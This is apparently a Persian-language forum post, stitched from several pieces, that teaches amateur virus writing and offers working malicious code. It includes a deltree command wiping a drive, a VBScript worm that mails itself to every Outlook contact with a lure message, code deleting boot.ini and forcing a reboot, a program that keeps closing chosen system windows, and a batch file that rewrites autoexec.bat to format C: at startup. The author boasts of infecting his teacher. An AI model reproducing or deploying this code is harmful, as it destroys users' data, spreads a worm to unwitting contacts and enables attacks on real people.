2-deltree/d:*.*

3-حالا با پسوند .bat سیو کنید.

Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

OutlookEmail.DeleteAfterSubmit = True

OutlookEmail.Send

Next

Next

End If

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"

OutlookEmail.Attachments.Add WScript.ScriptFullName

دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
("  Kill ("c:\boot.ini
     " Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه خط اول را که گفتم و در مورد خط دوم کامل در پست اول توضیح دادم

     

بسمه تعالی

 

 

سلام دوباره به تمامی دوستان

الان که دارم این مطالب را می نویسم یه ویروس مامانی برای معلم شیمیم فرستادم.

 

بریم سراغ کدا 

ابتدا این کد ها رو در قسمت general کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

 

و در نهایت این کدها را هم در برنا مه تون قرار بدبد

 

Private Sub Timer1_Timer()

Dim handel As Long

 

handel = FindWindow(vbNullString, "form1")

 

 

If handel <> 0 Then

SetForegroundWindow handel

SendKeys "%{f4}", 1

End If

 

End Sub

 

این برنامه یه timer باinterval=۱هم می خواد

 

و اما توضیح برنامه:

در این برنامه.پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو  می بنده.

دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم

در ویروس نویسی بعد از مهارت(شاید هم قبل از اون)مهم ترین عامل موفقیت یه ویروس نویس خلاقیته

برای مثال شما می تونید بجایmy computerهر عبارت دیگه ای که معمولا بسیار پرکاربرد هستند      مثلmy documentsیا برنامه های کاربردی نظیر media playerیا dial up connectionرا قرار بدید

فکر نمی کنم لازم به توضیح باشه که اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم

تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده

 

امید وارم خوشتون اومده باشه

نظر یادتون نره

این ویروس فضای هارد را به گونه ای مختل می کند که دیگر به هیچ عنوان امکان بازیابی اطلاعات وجود

 ندارد.تنها راه از بین بردن این ویروسFDISK هارد است.

یک صفحه Notepad باز کنید ومتن زیر را وارد آن کنید.

@echo off

call attrib -r -h c:\autoexec.bat

echo @echo off >c:\autoexec.b

echo format /autotest c:/q>nul

call attrib +r +h c:\autoexec.ba

exit

</body>

</html>

</body>

</html>

</body>

</html>

</body>

</html>

</body>

</html>